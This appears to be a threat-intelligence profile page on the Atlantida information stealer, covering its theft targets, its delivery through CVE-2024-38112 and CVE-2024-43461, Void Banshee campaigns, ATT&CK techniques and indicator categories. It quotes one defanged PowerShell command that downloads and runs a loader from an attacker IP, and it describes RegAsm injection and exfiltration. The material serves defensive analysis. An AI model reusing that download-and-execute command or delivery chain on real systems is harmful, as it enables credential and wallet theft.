Loading malware…
Atlantida is a Windows information stealer first discovered in January 2024. It incorporates functions and structures from the open-source NecroStealer and PredatorTheStealer projects. Its collection capabilities include stored browser passwords, authentication cookies and tokens, payment-card information, autofill data, cryptocurrency wallet files, and wallet-extension data. Targeted browsers include Google Chrome, Mozilla Firefox, and Microsoft Edge, while targeted wallet extensions include MetaMask, Phantom, Keplr, and Rabby. It also collects Telegram account data, Steam configuration data, FileZilla connection information, Binance application data, and desktop text documents.
Atlantida captures screenshots and gathers hardware and display information, including CPU, GPU, RAM, and screen resolution. It obtains geographic information through its command-and-control infrastructure, compresses collected data into a ZIP archive, and exfiltrates the archive to an attacker-controlled server.
Distribution campaigns use compromised websites and deceptive downloads requiring victims to execute malicious HTML applications. Documented delivery chains employ VBScript, PowerShell, a .NET loader, and Donut shellcode to execute Atlantida in memory within a legitimate Windows .NET utility process through remote-thread injection.
Void Banshee deployed Atlantida in 2024 campaigns targeting organizations in North America, Europe, and Southeast Asia for information theft and financial gain. These campaigns distributed archives containing legitimate books alongside malicious internet shortcuts disguised as PDFs through spearphishing links, online libraries, cloud-sharing services, Discord, and compromised websites. The attack chain combined CVE-2024-38112 and CVE-2024-43461 to invoke retired Internet Explorer components and conceal the executable extension of malicious HTML applications in file-opening prompts. Infection required victims to open the deceptive shortcut and then execute the offered HTML application.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
CVE-2024-38112 was used as part of an attack chain by the advanced persistent threat (APT) group Void Banshee. The threat actor leveraged the vulnerability to execute malicious code by abusing the MHTML protocol handler and x-usc directives through internet shortcut (URL) files. | The final payload of this zero-day attack chain is the Atlantida stealer, which was first discovered in January 2024.
The HTA files utilized a different zero-day tracked as CVE-2024-43461 to hide the HTA file extension and make the file appear as a PDF when Windows prompted users as to whether it should be opened.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
The final payload of this zero-day attack chain is the Atlantida stealer, which was first discovered in January 2024.
16 distinct techniques documented for this family, organized by ATT&CK tactic.
Victim is redirected to compromised site which downloads a malicious HTML Application (.HTA)
Void Banshee used zip archives containing copies of books in PDF format, along with malicious files disguised as PDFs in spearphishing links.
The decrypted command : “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm hxxp://166.1.160[.]10/loader.txt | iex“ .
When investigating the file, we observed a Visual Basic Script that decrypts a hardcoded base64 string and executes the decrypted content.
Victim executes Internet Shortcut (.URL) file that exploits CVE-2024-38112
The malware uses the CreateProcess Windows API to launch RegAsm.exe in a suspended state.
The malware uses the CreateProcess Windows API to launch RegAsm.exe in a suspended state.
Atlantida abuses RegAsm.exe to proxy malicious code execution
The PowerShell script downloads and reflectively loads a .NET downloader.
Atlantida steals offline cryptocurrency wallets data, and other software data
Web browser Google Chrome Mozilla Firefox and Microsoft Edge’s cookies and credentials
The malware starts to collect system information such as RAM, GPU, CPU, and screen resolution and stores it in “User Information.txt”.
It can also collect files with specific extensions from the infected system's desktop.
Afterward, it takes a screenshot, saves it as “screenshot.jpeg,” and adds it to the ZIP.
The malware compresses all the collected data into a ZIP file and exfiltrates it to the attacker's C&C server over TCP port 6655.
The executed PowerShell command downloads and executes a next stage PowerShell script in memory. The PowerShell script downloads and reflectively loads a .NET downloader.
Void Banshee exfiltrates stolen data to C&C server
20 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Listed as a malware/tool name in a collection of SHA-256 hashes intended to help identify C2 infrastructure, open directories, and phishing assets.
Information-stealing malware that exfiltrates passwords, authentication cookies, and cryptocurrency wallets.
Information-stealing malware deployed by Void Banshee to steal passwords, authentication cookies, and cryptocurrency wallets. Its delivery chain exploited CVE-2024-38112 to open attacker-controlled websites in Internet Explorer and CVE-2024-43461 to disguise malicious HTA files as PDFs. Opening the HTA executed a script that installed Atlantida. The campaign targeted organizations in North America, Europe, and Southeast Asia.
Information-stealing malware (“stealer”) delivered via exploitation of MSHTML spoofing vulnerabilities (notably in an attack chain involving CVE-2024-38112 / CVE-2024-43461 as described).
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.